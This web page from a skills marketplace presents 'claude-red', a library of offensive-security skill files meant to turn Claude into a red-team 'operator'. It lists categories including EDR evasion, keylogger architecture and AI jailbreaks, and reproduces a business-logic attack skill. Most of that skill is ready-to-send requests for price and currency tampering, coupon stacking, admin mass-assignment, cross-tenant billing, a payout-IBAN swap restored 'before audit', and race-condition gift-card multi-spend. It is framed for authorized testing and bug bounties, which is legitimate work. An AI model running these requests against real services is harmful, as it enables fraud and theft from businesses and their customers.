复制安装命令
用 Codex 或 Claude 安装复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它先审查 Skill 页面再帮你安装。
复制前请先查看来源、License 和安全提示。
Offensive security skills for Claude — drop-in SKILL.
用 Codex 或 Claude 安装复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它先审查 Skill 页面再帮你安装。
复制前请先查看来源、License 和安全提示。
来源文件:README.md

Offensive security skills for Claude — drop-in SKILL.md files that turn Claude into a context-aware red team operator.
Built by SnailSploit — GenAI Security Research.
claude-red is a curated library of offensive security skills for the Claude Skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to ADCS abuse.
Drop a skill into your Claude environment and it behaves like a specialist: it knows the techniques, the tooling, the edge cases, and the escalation paths. Skills load on demand based on conversational triggers — you don't pay context for skills you aren't using.
Use it for: authorized red team engagements, bug bounty triage, security research, CTF preparation, training operators, and exploring attack surfaces methodically.
# Clone into a directory Claude will scan
git clone https://github.com/SnailSploit/claude-red ~/.claude/skills/claude-red
# Or install only one category
git clone --filter=blob:none --sparse https://github.com/SnailSploit/claude-red
cd claude-red && git sparse-checkout set Skills/web Skills/active-directory
Claude will auto-load matching skills based on conversational triggers (e.g. mentioning SQLi loads offensive-sqli).
# Point Claude at a single skill before a session
cat Skills/web/offensive-sqli/SKILL.md | claude --system-file -
# Or load a whole category
cat Skills/active-directory/**/SKILL.md | claude --system-file -
Paste the contents of a SKILL.md into a Project's system prompt or prepend to your conversation.
./install.sh # interactive
./install.sh --target ~/.claude/skills # explicit target
./install.sh --category web # one category
| Category | Skills | Focus |
|---|---|---|
| Web Application | 16 | OWASP Top 10 + business logic + advanced web bug classes |
| Auth & Identity | 2 | JWT, OAuth |
| Active Directory | 1 | On-prem AD attack methodology (expanding) |
| Wireless | 13 | 802.11, WPA2/3, EAP, WPS, evil-twin, BLE, Zigbee, Z-Wave, LoRa, sub-GHz |
| Cloud | 1 | AWS / Azure / GCP attack paths (expanding) |
| Mobile | 1 | Android + iOS pentest (expanding) |
| IoT & Embedded | 1 | Hardware, firmware, RTOS, ICS (expanding) |
| Infrastructure & Red Team | 7 | Initial access, EDR evasion, Windows ops |
| Exploit Development | 6 | Stack/heap, mitigations, crash analysis, TOCTOU |
| Fuzzing & VR | 4 | libFuzzer, AFL++, bug ID, vuln classes |
| Reconnaissance | 2 | OSINT tooling and methodology |
| AI Security | 1 | Prompt injection, jailbreaks, RAG poisoning |
| Utility | 2 | Fast-checking, professional reporting |
Skills/web/
| Skill | Description |
|---|---|
offensive-sqli | SQL injection — error/blind/OOB, DB-specific, ORM CVEs, cloud paths |
offensive-xss | Cross-site scripting — stored, reflected, DOM, mutation |
offensive-ssrf | Server-side request forgery — cloud metadata, filter bypass |
offensive-ssti | Server-side template injection — engine ID, RCE paths |
offensive-xxe | XML external entity — OOB exfil, blind exploitation |
offensive-idor | Insecure direct object references — enumeration, business logic |
offensive-file-upload | File upload — extension bypass, polyglots, webshells |
offensive-rce | Remote code execution — chaining, command injection |
offensive-deserialization | Insecure deserialization — Java/PHP/.NET gadget chains |
offensive-race-condition | Race conditions — TOCTOU, single-packet, limit bypass |
offensive-request-smuggling | HTTP request smuggling — CL.TE, TE.CL, h2 desync |
offensive-open-redirect | Open redirect — OAuth abuse, phishing, SSRF pivots |
offensive-parameter-pollution | HTTP parameter pollution — WAF bypass, logic confusion |
offensive-graphql | GraphQL — introspection, batching, IDOR via aliases |
offensive-waf-bypass | WAF bypass — encoding, chunking, case mutation |
offensive-business-logic | Business logic — workflow bypass, pricing, refunds, chains |
Skills/auth/
| Skill | Description |
|---|---|
offensive-jwt | JWT — alg:none, key confusion, secret cracking |
offensive-oauth | OAuth — open redirect abuse, token leakage, PKCE bypass |
Skills/active-directory/
| Skill | Description |
|---|---|
offensive-active-directory | AD — Kerberoast, ASREProast, ACL abuse, ADCS ESC1-15, delegation, persistence, hybrid AAD |
Note: This category is being expanded. The AD overview is being split into 16 focused skills (Kerberoasting, ASREProasting, ADCS, coercion, NTLM relay, BloodHound, ticket forgery, GPO abuse, etc.). See Roadmap.
Skills/wireless/
| Skill | Description |
|---|---|
offensive-wifi | 802.11 overview — entrypoint into the wireless category |
offensive-wifi-recon | Adapter selection, monitor mode, multi-band airspace mapping |
offensive-wpa2-psk | Handshake capture, PMKID, hashcat 22000 cracking |
offensive-wpa3-sae | Transition-mode downgrade, Dragonblood, SAE side-channels |
offensive-wpa-enterprise | 802.1X / EAP attacks, eaphammer evil-twin RADIUS |
offensive-wps | Pixie Dust, online PIN brute, vendor PIN generators |
offensive-evil-twin | KARMA, Mana, captive portal, post-association MITM |
offensive-krack-fragattacks | KRACK + FragAttacks supplicant testing |
offensive-deauth-disassoc | Targeted/broadcast deauth, PMF awareness, action frames |
offensive-bluetooth-ble | BLE GATT enum, pairing downgrade, sniffing, MITM |
offensive-bluetooth-classic | BR/EDR — SDP, SPP, KNOB, BlueBorne, HID spoofing |
offensive-zigbee-thread-matter | 802.15.4 mesh — KillerBee, Touchlink abuse, ZCL command injection |
offensive-z-wave | S0 key derivation flaw, S2 commissioning, hub pivots |
offensive-lorawan-sub-ghz | LoRaWAN ABP/OTAA, KeeLoq garage doors, fixed-code, TPMS |
Skills/cloud/
| Skill | Description |
|---|---|
offensive-cloud | AWS / Azure / GCP — privesc, IMDS, cross-account, persistence, CSPM evasion |
Note: Cloud-identity (Entra/AAD/Okta hybrid) skills coming separately. See Roadmap.
Skills/mobile/
| Skill | Description |
|---|---|
offensive-mobile | Android + iOS — Frida, pinning, storage, biometric, deep links |
Skills/iot/
| Skill | Description |
|---|---|
offensive-iot | Hardware recon, firmware, RTOS, ICS/OT, MQTT/CoAP |
Note: Being split into 10 focused skills (UART/JTAG, flash dump, fault injection, U-Boot, secure boot, RTOS, ICS protocols). See Roadmap.
Skills/infrastructure/
| Skill | Description |
|---|---|
offensive-initial-access | Phishing, drive-by, supply chain — TA0001 |
offensive-advanced-redteam | Full kill chain, C2, OPSEC, lateral, persistence |
offensive-edr-evasion | Unhooking, indirect syscalls, PPID spoofing |
offensive-shellcode | Writing, encoding, injection techniques |
offensive-keylogger-arch | Keylogger architecture and input-capture techniques |
offensive-windows-mitigations | Windows mitigations — ACG, Arbitrary Code Guard |
offensive-windows-boundaries | Defeating Windows boundaries — sandbox escape, privilege |
Skills/exploit-dev/
| Skill | Description |
|---|---|
offensive-exploit-development | Stack/heap, ROP chains, mitigations |
offensive-exploit-dev-course | Structured curriculum format |
offensive-basic-exploitation | Linux exploitation, mitigations disabled — beginner-to-mid |
offensive-crash-analysis | Crash triage, exploitability assessment, root cause |
offensive-mitigations | Modern kernel mitigations — ASLR, CFG, CET, PAC |
offensive-toctou | Time-of-check/use across binary, kernel, web, container |
Skills/fuzzing/
| Skill | Description |
|---|---|
offensive-fuzzing | libFuzzer, AFL++, coverage-guided, mutation strategies |
offensive-fuzzing-course | Curriculum — finding vulns via fuzzing |
offensive-bug-identification | Code review patterns, static analysis triggers |
offensive-vuln-classes | Vulnerability classes — real-world examples, taxonomy |
Skills/recon/
| Skill | Description |
|---|---|
offensive-osint | OSINT tools — recon-ng, theHarvester, Maltego pipelines |
offensive-osint-methodology | OSINT methodology — structured intelligence collection |
Skills/ai/
| Skill | Description |
|---|---|
offensive-ai-security | AI pentest — prompt injection, jailbreaking, RAG poisoning |
Skills/utility/
| Skill | Description |
|---|---|
offensive-fast-checking | Fast triage checklist — quick-win identification |
offensive-reporting | Pro pentest reporting — CVSS, evidence, exec summary, retest |
The library is being expanded in seven phases. Track progress in CHANGELOG.md.
| Phase | Category | New Skills | Status |
|---|---|---|---|
| 1 | Internal AD/Windows (rename active-directory/ → internal/) | +16 | Planned |
| 2 | Cloud Identity (Entra/AAD, ADFS, Okta, M365) | +10 | Planned |
| 3 | Wireless split (WPA2/3, EAP, BLE, Zigbee, Z-Wave, LoRa, sub-GHz) | +12 | Mandatory |
| 4 | IoT split (UART/JTAG, flash, fault injection, RTOS, ICS) | +10 | Planned |
| 5 | Web Basics (recon, auth bypass, access control, CSRF, headers, CORS, cache, clickjack) | +8 | Planned |
| 6 | Web Advanced (proto pollution, SAML, OIDC, WebSocket, gRPC, postMessage, SSI/ESI, CSTI) | +10 | Planned |
| 7 | Polish (README, LICENSE, manifest, install) | — | In progress |
End state: ~107 skills across the same 13+ categories.
Contributions welcome. See CONTRIBUTING.md for the skill template, frontmatter standard, and review process. Focused, single-surface skills are preferred over monolithic overviews.
MIT — use freely, attribution appreciated.
"Give Claude the right skill and it stops being a chatbot. It becomes an operator."
This project's full writeup, methodology, and related research lives at:
https://snailsploit.com/claude-red
Created by Kai Aizen — independent offensive security researcher.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Same attack. Different substrate.
name: offensive-business-logic
description: "Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact."Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
For each user flow, draw:
Look for transitions that:
cart → shipped without paid)shipped → cart)# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
POST /api/orders/123/refund { "amount": 99999 }
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
| Flow | Race |
|---|---|
| Coupon redemption | N parallel apply-coupon calls each see "unused" |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
| Bypass | Mechanic |
|---|---|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not |
| Header rotation | X-Forwarded-For: <random> resets per-IP counter |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | POST /Login vs POST /login keyed differently in cache |
(userid, ip) not per userid.# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
100% off × 2 → negative totalChain template:
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.
Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
评论 (0)
暂无评论,成为第一个评论者吧!